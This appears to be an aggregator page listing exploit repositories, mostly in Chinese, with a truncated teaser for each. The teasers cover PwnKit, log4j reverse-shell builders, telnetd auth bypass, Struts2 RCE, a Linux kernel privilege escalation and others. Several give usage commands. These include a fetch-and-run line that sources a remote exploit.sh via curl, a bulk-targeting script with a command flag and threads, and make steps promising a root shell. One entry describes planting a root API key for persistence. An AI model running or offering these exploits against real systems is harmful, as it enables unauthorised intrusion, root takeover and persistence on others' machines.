CVE-2025-29009

CVE-2025-29009 WooCommerce用WordPressプラグイン「Medical Prescription Attachment Plugin」= 1.2.3 は、高優先度の任意ファイルアップロードの脆弱性の影響を受けます CVE-2025-29009 Webkul Medical Prescription Attachment — 無制限ファイルアップロード → Webシェル root@kitploit: ,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-. / | / | / /\ | / /\ / /\ | | / |...

log4j-exploit-builder

log4j-exploit-builder 用于创建 log4j（CVE-2021-44228）漏洞利用的脚本，支持多种获取反弹 shell 的方法 注意：该代码是速成编写的，未来会进行改进。...

CVE-2021-4034

CVE-2021-4034 Bash 脚本中的 CVE-2021-4034 使用方法： source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-24061

CVE-2026-24061 — inetutils-telnetd 身份验证绕过 针对 GNU inetutils-telnetd 中身份验证绕过漏洞的概念验证利用程序。 概述 CVE-2026-24061 是一个影响 inetutils-telnetd 版本 1.9.3 至 2.7 的严重身份验证绕过漏洞。它允许远程攻击者在无需提供任何凭据的情况下，在易受攻击的系统上获取 root shell。 漏洞详情 字段| 值 ---|--- CVE ID| CVE-2026-24061 受影响软件| GNU inetutils-telnetd 受影响版本| 1.9.3 – 2.7 漏洞类型|...

CVE-2026-21510-CVSS-8.8-Important-Windows-Shell-security-feature-bypass

CVE-2026-21510 - Windows Shell 安全功能绕过漏洞 仓库标题建议： CVE-2026-21510-Windows-Shell-Bypass-Analysis 本 README 提供了 CVE-2026-21510 的全面概述，这是微软在 2026 年 2 月补丁星期二发布中修复的一个高严重性、已被积极利用的零日漏洞。内容包括技术细节、影响、利用条件、受影响系统、缓解措施和参考资料。适合安全研究人员、蓝队、威胁猎手或任何关注近期 Windows 零日漏洞的人士。 概述 CVE ID ：CVE-2026-21510 CVSS v3.1 评分 ：8.8（高危）...

spinnaker-poc

POCs de Vulnerabilidades de Spinnaker Demostraciones de prueba de concepto para CVE-2026-32604 y CVE-2026-32613, dos vulnerabilidades de severidad 10.0 en Spinnaker que permiten ejecución de código y robo de credenciales de la nube de producción. Video explicativo sobre cómo usar estos POCs Blog...

CVE-2026-31431-rs

CVE-2026-31431 PoC（copyfail） 结构 root@kitploit: src/ ├── main.rs 漏洞利用：AFALG + splice 覆盖 /bin/su └── bin/ └── payload.rs 载荷 自包含的 nostd 二进制文件，零运行时依赖： poc-rs：4.1 KB（载荷通过 includebytes! 嵌入） payload：1.7 KB 构建 需要 Rust 1.85+： root@kitploit: cargo build --release --bin payload cargo build --release 用法 x866...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EXAMPLE 单目标 root@kitploit: python3 CVE-2026-21962.py http://target:7001 -c "whoami" 批量 + 默认 whoami root@kitploit: python3 CVE-2026-21962.py -f url.txt 批量 + 自定义命令 + 改线程数 root@kitploit: python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt 反弹 shell 示例...

berdav-CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告在这里 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

CVE-2021-4034

用法： sh poc.sh...

Struts2_S2-062_CVE-2021-31805

Struts2S2-062CVE-2021-31805 Apache Struts2 S2-062远程代码执行漏洞CVE-2021-31805 | 反弹Shell 漏洞复现环境 docker-compose.yml root@kitploit: version: '2' services: struts2: image: vulhub/struts2:2.5.25 ports: - "8080:8080" 拉取镜像启动环境 root@kitploit: docker-compose up -d 访问地址：http://1.1.1.1:8080 漏洞验证脚本 root@kitploit:...

CVE-2021-4034-new

CVE-2021-4034 针对 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处。...

modrosnlr5

🧬 modrosnlr5 – Linux 内核 LPE PoC（CVE-2026-31431） 概念验证工具，旨在验证 Linux 系统中 CVE-2026-31431 漏洞的利用。 该漏洞利用内核的 AFALG 套接字接口注入载荷，从无权限的用户会话中获取具有 root 权限的 shell。 ⚖️ 道德与受控使用： 本代码仅用于研究、培训和授权审计目的。只能在拥有明确许可的环境中进行执行。 ✳️ 主要功能 权限预检： 自动分析 UID、GID 以及 sudo、wheel 和 root 组的成员资格。 AFALG 套接字工程： PoC 通过 os.splice 劫持 su...

ez-pwnkit

ez-pwnkit 一个纯 Go 实现的 CVE-2021-4034 PwnKit 漏洞利用程序。 该漏洞利用程序使用 syscall.ForkExec 来确保在主程序结束后仍能存活。 安装 root@kitploit: git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make 由于该漏洞利用程序依赖于一个恶意的共享库，因此会从 payload.go 生成一个 PWN.so 文件，并将其嵌入到最终的 exploit 可执行文件中。 Makefile 使用 sed 临时将 payload.go 文件的包名改为...

CVE-2025-1094-Lab-Setup

🛠️ CVE-2025-1094 实验环境搭建 ⚠️ 免责声明 本实验仅用于教育和研究目的 。 请勿 将此处演示的任何信息或技术用于您不拥有或未经明确授权测试的系统。未经授权使用这些方法可能违反法律 并导致严重处罚。 📌 概述 CVE-2025-1094 是一个影响 PostgreSQL 交互式工具 psql 的严重漏洞，在 14.15 及更早版本中被发现。 攻击者可以利用该漏洞执行 SQL 注入 ，在特定条件下可导致远程代码执行（RCE） 。 🧨 根本原因 该漏洞源于 psql 对畸形 UTF-8 输入处理不当 。 由于验证不足，攻击者可以注入任意 SQL 或元命令（如 !（shell...

CVE-2026-24061

CVE-2026-24061: telnetd 认证绕过漏洞 CVE-2026-24061 是 telnetd 中的一个认证绕过漏洞，攻击者可以通过特定的环境变量组合绕过身份验证，直接获取 root 权限的 shell。 telnetd 在处理认证逻辑时存在缺陷，当通过 -a 选项（自动登录）配合特定的 USER 环境变量（如 -f root）时，可以绕过正常的身份验证流程，直接以 root 用户身份登录。 介绍 GNU InetUtils 是 GNU 项目下的一个基础网络工具集合。它包含了许多传统的网络客户端和守护进程，如 ftp、telnet、rsh、rlogin、tftp 等。...

CVE-2026-41940

基于 Watch Tower POC， 支持通过 websocket 直接访问 shell，并添加 root API 密钥以实现持久化。...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 远程代码执行（RCE） POC1：仅打印 root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2：反向 Shell root@kitploit: include include include include char serverip=""; uint32t...

CVE-2026-24061

CVE-2026-24061 - Telnet 参数注入 用于检测 GNU inetutils telnetd 中 CVE-2026-24061 漏洞的 Nuclei 模板，该漏洞允许在无需认证的情况下获取 root 访问权限。 📋 漏洞描述 CVE-2026-24061 是 GNU inetutils telnetd 中的一个严重 参数注入 漏洞，允许攻击者在不知道密码的情况下获取 root shell。 它是如何工作的？ 1. 问题根源 ：2015 年，telnetd 中添加了一个带有动态参数 %U 的新登录模板： root@kitploit: /usr/bin/login -p -...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞利用的一天 只需执行 ./blasty 即可获得 root shell。 原作者的实际公告见 - 此处 安装 如果漏洞利用成功，您将立即获得 root shell： root@kitploit: user@tecnokarita-/Descargas $ git clone https://github.com/T3cnokarita/CVE-2021-4034.git user@tecnokarita-/Descargas/CVE-2021-4034 $ gcc -o blasty blasty-vs-pkexec.c...